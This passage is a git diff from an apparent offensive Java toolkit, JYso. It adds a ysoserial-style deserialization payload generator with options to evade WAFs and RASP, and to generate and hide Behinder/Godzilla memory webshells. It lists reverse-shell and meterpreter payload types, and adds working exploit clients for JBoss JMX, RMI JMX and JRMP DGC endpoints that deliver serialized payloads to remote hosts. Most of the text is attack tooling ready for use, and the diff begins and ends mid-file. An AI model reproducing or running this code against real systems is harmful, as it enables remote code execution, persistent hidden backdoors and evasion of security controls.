IncorrectParamsException("Incorrect params: " + base); + } + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/controllers/utils/AESUtils.java b/src/main/java/com/qi4l/jndi/controllers/utils/AESUtils.java new file mode 100644 index 0000000..fd34de1 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/utils/AESUtils.java @@ -0,0 +1,39 @@ +package com.qi4l.jndi.controllers.utils; + +import javax.crypto.Cipher; +import javax.crypto.spec.IvParameterSpec; +import javax.crypto.spec.SecretKeySpec; +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +public class AESUtils { + private static final String ALGORITHM = "AES"; + private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding"; + private static final int KEY_SIZE = 16; + + public static String decrypt(String ciphertext, String key) throws Exception { + byte[] combinedBytes = Base64.getDecoder().decode(ciphertext); + byte[] ivBytes = new byte[KEY_SIZE]; + byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE]; + + System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE); + System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length); + + byte[] keyBytes = getKeyBytes(key); + SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM); + IvParameterSpec ivSpec = new IvParameterSpec(ivBytes); + + Cipher cipher = Cipher.getInstance(TRANSFORMATION); + cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec); + + byte[] decryptedBytes = cipher.doFinal(encryptedBytes); + return new String(decryptedBytes, StandardCharsets.UTF_8); + } + + private static byte[] getKeyBytes(String key) { + byte[] keyBytes = new byte[KEY_SIZE]; + byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8); + System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length)); + return keyBytes; + } +} diff --git a/src/main/java/com/qi4l/jndi/controllers/ysoserial.java b/src/main/java/com/qi4l/jndi/controllers/ysoserial.java new file mode 100644 index 0000000..5b36646 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/ysoserial.java @@ -0,0 +1,240 @@ +package com.qi4l.jndi.controllers; + +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.ObjectPayload; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Serializer; +import com.qi4l.jndi.gadgets.utils.StringUtil; +import com.qi4l.jndi.gadgets.utils.dirty.DirtyDataWrapper; +import org.apache.commons.cli.*; + +import java.io.FileOutputStream; +import java.io.OutputStream; +import java.util.*; + +import static com.qi4l.jndi.gadgets.utils.HexUtils.generatePassword; +import static com.qi4l.jndi.gadgets.utils.StringUtil.isFromExploit; + +public class ysoserial { + + public static CommandLine cmdLine; + public static Object PAYLOAD = null; + + public static void ysoserial(String[] args) { + final Options options = getOptions(); + + CommandLineParser parser = new DefaultParser(); + + if (args.length == 1) { + printUsage(options); + System.exit(1); + } + + try { + cmdLine = parser.parse(options, args); + } catch (Exception e) { + System.out.println("[*] Parameter input error, please use -h for more information"); + printUsage(options); + System.exit(1); + } + + if (cmdLine.hasOption("inherit")) { + Config.IS_INHERIT_ABSTRACT_TRANSLET = true; + } + + if (cmdLine.hasOption("obscure")) { + Config.IS_OBSCURE = true; + } + + if (cmdLine.hasOption("cmd-header")) { + Config.CMD_HEADER_STRING = cmdLine.getOptionValue("cmd-header"); + } + + if (cmdLine.hasOption("url")) { + String url = cmdLine.getOptionValue("url"); + if (!url.startsWith("/")) { + url = "/" + url; + } + Config.URL_PATTERN = url; + } + + if (cmdLine.hasOption("define-class-from-parameter")) { + Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter"); + } + + if (cmdLine.hasOption("file")) { + Config.WRITE_FILE = true; + Config.FILE = cmdLine.getOptionValue("file"); + } + + if (cmdLine.hasOption("password")) { + Config.PASSWORD_ORI = cmdLine.getOptionValue("password"); + Config.PASSWORD = generatePassword(Config.PASSWORD_ORI); + } + + if (cmdLine.hasOption("godzilla-key")) { + Config.GODZILLA_KEY = generatePassword(cmdLine.getOptionValue("godzilla-key")); + } + + if (cmdLine.hasOption("header-key")) { + Config.HEADER_KEY = cmdLine.getOptionValue("header-key"); + } + + if (cmdLine.hasOption("header-value")) { + Config.HEADER_VALUE = cmdLine.getOptionValue("header-value"); + } + + if (cmdLine.hasOption("no-com-sun")) { + Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true; + } + + if (cmdLine.hasOption("mozilla-class-loader")) { + Config.USING_MOZILLA_DEFININGCLASSLOADER = true; + } + + if (cmdLine.hasOption("rhino")) { + Config.USING_RHINO = true; + } + + if (cmdLine.hasOption("utf8-Overlong-Encoding")) { + Config.IS_UTF_Bypass = true; + } + + if (cmdLine.hasOption("gen-mem-shell")) { + Config.GEN_MEM_SHELL = true; + + if (cmdLine.hasOption("gen-mem-shell-name")) { + Config.GEN_MEM_SHELL_FILENAME = cmdLine.getOptionValue("gen-mem-shell-name"); + } + } + + if (cmdLine.hasOption("hide-mem-shell")) { + Config.HIDE_MEMORY_SHELL = true; + + if (cmdLine.hasOption("hide-type")) { + Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type")); + } + } + + final String payloadType = cmdLine.getOptionValue("gadget"); + final String command = cmdLine.getOptionValue("parameters"); + + final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); + if (payloadClass == null) { + System.err.println("Invalid payload type '" + payloadType + "'"); + printUsage(options); + System.exit(1); + return; + } + + + try { + ObjectPayload payload = payloadClass.newInstance(); + Object object = payload.getObject(command); + + // 是否指定混淆 + if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) { + int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type")); + int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length")); + object = new DirtyDataWrapper(object, type, length).doWrap(); + } + + // 储存生成的 payload + PAYLOAD = object; + + if (isFromExploit()) { + return; + } + + OutputStream out; + + if (Config.WRITE_FILE) { + out = new FileOutputStream(Config.FILE); + } else { + out = System.out; + } + Serializer.qiserialize(object, out); + ObjectPayload.Utils.releasePayload(payload, object); + out.flush(); + out.close(); + } catch (Throwable e) { + System.err.println("Error while generating or serializing payload"); + e.printStackTrace(); + System.exit(1); + } + System.exit(0); + } + private static Options getOptions() { + System.out.println("██╗ ██╗███████╗ ██████╗ \n" + + "╚██╗ ██╔╝██╔════╝██╔═══██╗\n" + + " ╚████╔╝ ███████╗██║ ██║\n" + + " ╚██╔╝ ╚════██║██║ ██║\n" + + " ██║ ███████║╚██████╔╝\n" + + " ╚═╝ ╚══════╝ ╚═════╝ \n"); + Options options = new Options(); + options.addOption("y", "ysoserial", false, "Java deserialization"); + options.addOption("g", "gadget", true, "Java deserialization gadget"); + options.addOption("p", "parameters", true, "Gadget parameters"); + options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data"); + options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2"); + options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)"); + options.addOption("o", "obscure", false, "Using reflection to bypass RASP"); + options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)"); + options.addOption("u", "url", true, "MemoryShell binding url pattern,default [/version.txt]"); + options.addOption("pw", "password", true, "Behinder or Godzilla password,default [p@ssw0rd]"); + options.addOption("gzk", "godzilla-key", true, "Godzilla key,default [key]"); + options.addOption("hk", "header-key", true, "MemoryShell Header Check,Request Header Key,default [Referer]"); + options.addOption("hv", "header-value", true, "MemoryShell Header Check,Request Header Value,default [https://QI4L.cn/]"); + options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]"); + options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File"); + options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name"); + options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)"); + options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/"); + options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS"); + options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl"); + options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil"); + options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter"); + options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf"); + return options; + } + + private static void printUsage(Options options) { + + System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]"); + System.err.println("[root]#~ Available payload types:"); + + final List> payloadClasses = + new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); + Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize + + final List rows = new LinkedList(); + rows.add(new String[]{"Payload", "Authors", "Dependencies"}); + rows.add(new String[]{"-------", "-------", "------------"}); + for (Class payloadClass : payloadClasses) { + rows.add(new String[]{ + payloadClass.getSimpleName(), + StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), + StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "") + }); + } + + final List lines = StringUtil.formatTable(rows); + + for (String line : lines) { + System.err.println(" " + line); + } + + System.err.println("\r\n"); + HelpFormatter helpFormatter = new HelpFormatter(); + helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth())); + helpFormatter.printHelp("JYso-[version].jar", options, true); + + System.err.println("\r\n"); + System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser"); + System.err.println("If you want your payload being extremely short,you could just use:"); + System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser"); + System.exit(0); + } + +} diff --git a/src/main/java/com/qi4l/jndi/enumtypes/GadgetType.java b/src/main/java/com/qi4l/jndi/enumtypes/GadgetType.java new file mode 100644 index 0000000..0dc12d3 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/enumtypes/GadgetType.java @@ -0,0 +1,8 @@ +package com.qi4l.jndi.enumtypes; + +public enum GadgetType { + base64Two, + msf, + base64, + shell, +} diff --git a/src/main/java/com/qi4l/jndi/enumtypes/PayloadType.java b/src/main/java/com/qi4l/jndi/enumtypes/PayloadType.java new file mode 100644 index 0000000..f5168ef --- /dev/null +++ b/src/main/java/com/qi4l/jndi/enumtypes/PayloadType.java @@ -0,0 +1,47 @@ +package com.qi4l.jndi.enumtypes; + +public enum PayloadType { + sethttp, + dnslog, + tomcatupgrade, + command, + reverseshell, + tomcatecho, + springecho, + weblogicecho, + windowsecho, + linuxecho2, + linuxecho1, + allecho, + websphereecho, + resinecho, + tomcatfilterjmx, + tomcatfilterth, + tomcatlistenerjmx, + tomcatlistenerth, + tomcatservletjmx, + tomcatservletth, + jbossfilter, + jbossservlet, + webspherememshell, + springinterceptor, + springcontroller, + issuccess, + jettyfilter, + jettyservlet, + struts2actionms, + wsfilter, + tomcatexecutor, + meterpreter, + resinfilterth, + resinservletth, + jbossecho, + jettyecho, + cmsmsbync, + proxymsbync, + wsresin, + mstsjproxy, + mstsjser, + wsweblogic, + wswebsphereproxy, +} diff --git a/src/main/java/com/qi4l/jndi/enumtypes/WebsphereActionType.java b/src/main/java/com/qi4l/jndi/enumtypes/WebsphereActionType.java new file mode 100644 index 0000000..14d52da --- /dev/null +++ b/src/main/java/com/qi4l/jndi/enumtypes/WebsphereActionType.java @@ -0,0 +1,7 @@ +package com.qi4l.jndi.enumtypes; + +public enum WebsphereActionType { + list, + upload, + rce; +} diff --git a/src/main/java/com/qi4l/jndi/exceptions/IncorrectParamsException.java b/src/main/java/com/qi4l/jndi/exceptions/IncorrectParamsException.java new file mode 100644 index 0000000..ce45590 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exceptions/IncorrectParamsException.java @@ -0,0 +1,11 @@ +package com.qi4l.jndi.exceptions; + +public class IncorrectParamsException extends RuntimeException { + public IncorrectParamsException() { + super(); + } + + public IncorrectParamsException(String message) { + super(message); + } +} diff --git a/src/main/java/com/qi4l/jndi/exceptions/UnSupportedActionTypeException.java b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedActionTypeException.java new file mode 100644 index 0000000..a8f45b5 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedActionTypeException.java @@ -0,0 +1,11 @@ +package com.qi4l.jndi.exceptions; + +public class UnSupportedActionTypeException extends RuntimeException { + public UnSupportedActionTypeException() { + super(); + } + + public UnSupportedActionTypeException(String message) { + super(message); + } +} diff --git a/src/main/java/com/qi4l/jndi/exceptions/UnSupportedGadgetTypeException.java b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedGadgetTypeException.java new file mode 100644 index 0000000..4eb1c8f --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedGadgetTypeException.java @@ -0,0 +1,11 @@ +package com.qi4l.jndi.exceptions; + +public class UnSupportedGadgetTypeException extends RuntimeException { + public UnSupportedGadgetTypeException() { + super(); + } + + public UnSupportedGadgetTypeException(String message) { + super(message); + } +} diff --git a/src/main/java/com/qi4l/jndi/exceptions/UnSupportedPayloadTypeException.java b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedPayloadTypeException.java new file mode 100644 index 0000000..c3a501a --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedPayloadTypeException.java @@ -0,0 +1,11 @@ +package com.qi4l.jndi.exceptions; + +public class UnSupportedPayloadTypeException extends RuntimeException { + public UnSupportedPayloadTypeException() { + super(); + } + + public UnSupportedPayloadTypeException(String message) { + super(message); + } +} diff --git a/src/main/java/com/qi4l/jndi/exploit/JBoss.java b/src/main/java/com/qi4l/jndi/exploit/JBoss.java new file mode 100644 index 0000000..94a57ca --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exploit/JBoss.java @@ -0,0 +1,385 @@ +package com.qi4l.jndi.exploit; + +import com.qi4l.jndi.Starter; +import com.qi4l.jndi.controllers.ysoserial; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.jboss.remoting3.Connection; +import org.jboss.remoting3.*; +import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory; +import org.jboss.remoting3.spi.*; +import org.jboss.remotingjmx.VersionedConnection; +import org.xnio.*; +import org.xnio.IoFuture.Status; +import org.xnio.ssl.JsseXnioSsl; +import org.xnio.ssl.XnioSsl; + +import javax.management.*; +import javax.management.remote.JMXServiceURL; +import javax.security.auth.callback.*; +import javax.security.sasl.RealmCallback; +import java.io.IOException; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.InetSocketAddress; +import java.net.MalformedURLException; +import java.net.SocketAddress; +import java.net.URI; +import java.security.KeyManagementException; +import java.security.NoSuchAlgorithmException; +import java.security.NoSuchProviderException; +import java.util.HashMap; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.*; +import java.util.logging.*; + + +/** + * An exploitation client for JBoss AS/Wildfly JMX + *

+ * JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol. + *

+ * This is not as readily exploitable as in other pieces of software: + * 1. they only allow authenticated access by default + * 2. they have a very strict module architecture: + * - all MBeans exported by default use classloaders that expose almost nothing useful + * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like + * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl + *

+ * This client enumerates all application exported MBean method which are then called + * delivering the specified payload. + *

+ * I.e. you can succesfully exploit that + * - you have access to the interface + * (username/password can be specified via URL, note: despite not noticeable, + * local connections implicitely use authentication) + * - there is an application exported MBean + * - that application imports the classes required for the gadget chain + * + * @author mbechler + */ +@SuppressWarnings({ + "rawtypes" +}) +public class JBoss { + + public static void main(String[] args) throws Exception { + + if (args.length < 5) { + System.err.println("Usage " + JBoss.class.getName() + " "); + System.exit(-1); + } + + URI u = URI.create(args[0]); + + // 去除前一个参数 + String[] newArray = new String[args.length - 1]; + System.arraycopy(args, 1, newArray, 0, newArray.length); + + Starter.main(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + String username = null; + String password = null; + if (u.getUserInfo() != null) { + int sep = u.getUserInfo().indexOf(':'); + if (sep >= 0) { + username = u.getUserInfo().substring(0, sep); + password = u.getUserInfo().substring(sep + 1); + } else { + System.err.println("Need :@"); + System.exit(-1); + } + } + + doRun(u, payloadObject, username, password); + } + + + private static void doRun(URI u, final Object payloadObject, String username, String password) { + ConnectionProvider instance = null; + ConnectionProviderContextImpl context = null; + ConnectionHandler ch = null; + Channel c = null; + VersionedConnection vc = null; + try { + Logger logger = LogManager.getLogManager().getLogger(""); + logger.addHandler(new ConsoleLogHandler()); + logger.setLevel(Level.INFO); + OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap(); + context = new ConnectionProviderContextImpl(options, "endpoint"); + instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options); + String host = u.getHost(); + int port = u.getPort() > 0 ? u.getPort() : 9990; + SocketAddress destination = new InetSocketAddress(host, port); + ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options); + ch = chf.createInstance(new ConnectionHandlerContextImpl(context)); + c = getChannel(context, ch, options); + System.err.println("Connected"); + vc = makeVersionedConnection(c); + MBeanServerConnection mbc = vc.getMBeanServerConnection(null); + doExploit(payloadObject, mbc); + System.err.println("DONE"); + } catch (Throwable e) { + e.printStackTrace(System.err); + } finally { + cleanup(instance, context, ch, c, vc); + } + } + + + private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c, + VersionedConnection vc) { + if (vc != null) { + vc.close(); + } + + if (c != null) { + try { + c.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + + if (ch != null) { + try { + ch.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + if (instance != null) { + try { + instance.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + + if (context != null) { + context.getXnioWorker().shutdown(); + } + } + + + private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password, + ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options) + throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException { + XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options); + FutureResult result = new FutureResult(); + instance.connect(null, destination, options, result, new CallbackHandler() { + + public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException { + + for (Callback cb : callbacks) { + + if (cb instanceof NameCallback) { + ((NameCallback) cb).setName(username); + } else if (cb instanceof PasswordCallback) { + ((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]); + } else if (!(cb instanceof RealmCallback)) { + System.err.println(cb); + throw new UnsupportedCallbackException(cb); + } + } + } + }, xnioSsl); + + System.err.println("waiting for connection"); + IoFuture ioFuture = result.getIoFuture(); + Status s = ioFuture.await(5, TimeUnit.SECONDS); + if (s == Status.FAILED) { + System.err.println("Cannot connect"); + if (ioFuture.getException() != null) { + ioFuture.getException().printStackTrace(System.err); + } + } else if (s != Status.DONE) { + ioFuture.cancel(); + System.err.println("Connect timeout"); + System.exit(-1); + } + + ConnectionHandlerFactory chf = ioFuture.getInterruptibly(); + return chf; + } + + private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException { + Channel c; + FutureResult chResult = new FutureResult(context.getExecutor()); + ch.open("jmx", chResult, options); + + IoFuture cFuture = chResult.getIoFuture(); + Status s2 = cFuture.await(); + if (s2 == Status.FAILED) { + System.err.println("Cannot connect"); + if (cFuture.getException() != null) { + throw new IOException("Connect failed", cFuture.getException()); + } + } else if (s2 != Status.DONE) { + cFuture.cancel(); + throw new IOException("Connect timeout"); + } + + c = cFuture.get(); + return c; + } + + + private static VersionedConnection makeVersionedConnection(Channel c) + throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException { + VersionedConnection vc; + Class vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory"); + Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class); + Reflections.setAccessible(vcCreate); + vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://")); + return vc; + } + + + private static void doExploit(final Object payloadObject, MBeanServerConnection mbc) + throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException { + Object[] params = new Object[1]; + params[0] = payloadObject; + System.err.println("Querying MBeans"); + Set testMBeans = mbc.queryMBeans(null, null); + System.err.println("Found " + testMBeans.size() + " MBeans"); + for (ObjectInstance oi : testMBeans) { + MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName()); + for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) { + try { + mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{}); + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS"); + return; + } catch (Throwable e) { + String msg = e.getMessage(); + if (msg.startsWith("java.lang.ClassNotFoundException:")) { + int start = msg.indexOf('"'); + int stop = msg.indexOf('"', start + 1); + String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : ""; + if (!"".equals(module) && !"org.jboss.as.jmx:main".equals(module)) { + int cstart = msg.indexOf(':'); + int cend = msg.indexOf(' ', cstart + 2); + String cls = msg.substring(cstart + 2, cend); + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")"); + } + } else { + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg); + return; + } + } + } + } + } + + + private static final class ConsoleLogHandler extends Handler { + + + @Override + public void publish(LogRecord record) { + System.err.println(record.getMessage()); + } + + + @Override + public void flush() { + + } + + + @Override + public void close() throws SecurityException { + } + } + + @SuppressWarnings({"deprecation"}) + private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext { + + private ConnectionProviderContextImpl context; + + + public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) { + this.context = context; + } + + + public void remoteClosed() { + } + + + public OpenListener getServiceOpenListener(String serviceType) { + return null; + } + + + public RegisteredService getRegisteredService(String serviceType) { + return null; + } + + + public ConnectionProviderContext getConnectionProviderContext() { + return this.context; + } + + + public Connection getConnection() { + return null; + } + } + + + private static final class ConnectionProviderContextImpl implements ConnectionProviderContext { + + private XnioWorker worker; + + private ExecutorService executor; + + private Xnio instance; + + private Endpoint endpoint; + + + public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException { + this.instance = Xnio.getInstance(); + + this.worker = this.instance.createWorker(opts); + this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts); + this.executor = Executors.newCachedThreadPool(new ThreadFactory() { + + public Thread newThread(Runnable r) { + Thread t = new Thread(r, "Worker"); + t.setDaemon(true); + return t; + } + }); + } + + + public XnioWorker getXnioWorker() { + return this.worker; + } + + + public Xnio getXnio() { + return this.instance; + } + + + public Executor getExecutor() { + return this.executor; + } + + + public Endpoint getEndpoint() { + return this.endpoint; + } + + + public void accept(ConnectionHandlerFactory connectionHandlerFactory) { + System.err.println("accept"); + } + + } + +} diff --git a/src/main/java/com/qi4l/jndi/exploit/JMXInvokeMBean.java b/src/main/java/com/qi4l/jndi/exploit/JMXInvokeMBean.java new file mode 100644 index 0000000..5730610 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exploit/JMXInvokeMBean.java @@ -0,0 +1,45 @@ +package com.qi4l.jndi.exploit; + +import com.qi4l.jndi.Starter; +import com.qi4l.jndi.controllers.ysoserial; + +import javax.management.MBeanServerConnection; +import javax.management.ObjectName; +import javax.management.remote.JMXConnector; +import javax.management.remote.JMXConnectorFactory; +import javax.management.remote.JMXServiceURL; + +/* + * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. + * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. + * + */ +public class JMXInvokeMBean { + + public static void main(String[] args) throws Exception { + + if (args.length < 6) { + System.err.println(JMXInvokeMBean.class.getName() + " "); + System.exit(-1); + } + + JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi"); + + JMXConnector jmxConnector = JMXConnectorFactory.connect(url); + MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); + + // 去除前两个参数 + String[] newArray = new String[args.length - 2]; + System.arraycopy(args, 2, newArray, 0, newArray.length); + + Starter.main(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging"); + + mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()}); + + //close the connection + jmxConnector.close(); + } +} diff --git a/src/main/java/com/qi4l/jndi/exploit/JRMPClassLoadingListener.java b/src/main/java/com/qi4l/jndi/exploit/JRMPClassLoadingListener.java new file mode 100644 index 0000000..e4024e9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exploit/JRMPClassLoadingListener.java @@ -0,0 +1,48 @@ +package com.qi4l.jndi.exploit; + +import com.qi4l.jndi.gadgets.JRMPClient; + +import java.net.URL; + + +/** + * JRMP listener triggering RMI remote classloading + *

+ * Opens up an JRMP listener that will deliver a remote classpath class to the calling client. + *

+ * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need + * access to an RMI socket when you can deliver {@link JRMPClient}. + *

+ * This only works if + * - the remote end is running with a security manager + * - java.rmi.server.useCodebaseOnly=false (default until 7u21) + * - the remote has the proper permissions to remotely load the class (mostly URLPermission) + *

+ * and, of course, the payload class is then run under the security manager with a remote codebase + * so either the policy needs to allow whatever you want to do in the payload or you need to combine + * with a security manager bypass exploit (wouldn't be the first time). + * + * @author mbechler + */ +public class JRMPClassLoadingListener { + + public static final void main(final String[] args) { + + if (args.length < 3) { + System.err.println(JRMPClassLoadingListener.class.getName() + " "); + System.exit(-1); + return; + } + + try { + int port = Integer.parseInt(args[0]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, args[2], new URL(args[1])); + c.run(); + } catch (Exception e) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/exploit/JRMPClient.java b/src/main/java/com/qi4l/jndi/exploit/JRMPClient.java new file mode 100644 index 0000000..54eb9a3 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exploit/JRMPClient.java @@ -0,0 +1,134 @@ +package com.qi4l.jndi.exploit; + +import com.qi4l.jndi.Starter; +import com.qi4l.jndi.controllers.ysoserial; +import sun.rmi.transport.TransportConstants; + +import javax.net.SocketFactory; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.*; + +/** + * Generic JRMP client + *

+ * Pretty much the same thing as {@link RMIRegistryExploit} but + * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) + * - not deserializing anything (so you don't get yourself exploited ;)) + * + * @author mbechler + */ +@SuppressWarnings({ + "restriction" +}) +public class JRMPClient { + + public static final void main(final String[] args) throws Exception { + if (args.length < 5) { + System.err.println(JRMPClient.class.getName() + " "); + System.exit(-1); + } + + String hostname = args[0]; + int port = Integer.parseInt(args[1]); + + // 去除前两个参数 + String[] newArray = new String[args.length - 2]; + System.arraycopy(args, 2, newArray, 0, newArray.length); + + Starter.main(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + try { + System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port)); + makeDGCCall(hostname, port, payloadObject); + } catch (Exception e) { + e.printStackTrace(System.err); + } + } + + public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException { + InetSocketAddress isa = new InetSocketAddress(hostname, port); + Socket s = null; + DataOutputStream dos = null; + try { + s = SocketFactory.getDefault().createSocket(hostname, port); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings("resource") final ObjectOutputStream objOut = new MarshalOutputStream(dos); + + objOut.writeLong(2); // DGC + objOut.writeInt(0); + objOut.writeLong(0); + objOut.writeShort(0); + + objOut.writeInt(1); // dirty + objOut.writeLong(-669196253586618813L); + + objOut.writeObject(payloadObject); + + os.flush(); + } finally { + if (dos != null) { + dos.close(); + } + if (s != null) { + s.close(); + } + } + } + + static final class MarshalOutputStream extends ObjectOutputStream { + + + private URL sendUrl; + + public MarshalOutputStream(OutputStream out, URL u) throws IOException { + super(out); + this.sendUrl = u; + } + + MarshalOutputStream(OutputStream out) throws IOException { + super(out); + } + + @Override + protected void annotateClass(Class cl) throws IOException { + if (this.sendUrl != null) { + writeObject(this.sendUrl.toString()); + } else if (!(cl.getClassLoader() instanceof URLClassLoader)) { + writeObject(null); + } else { + URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); + String cb = ""; + + for (URL u : us) { + cb += u.toString(); + } + writeObject(cb); + } + } + + + /** + * Serializes a location from which to load the specified class. + */ + 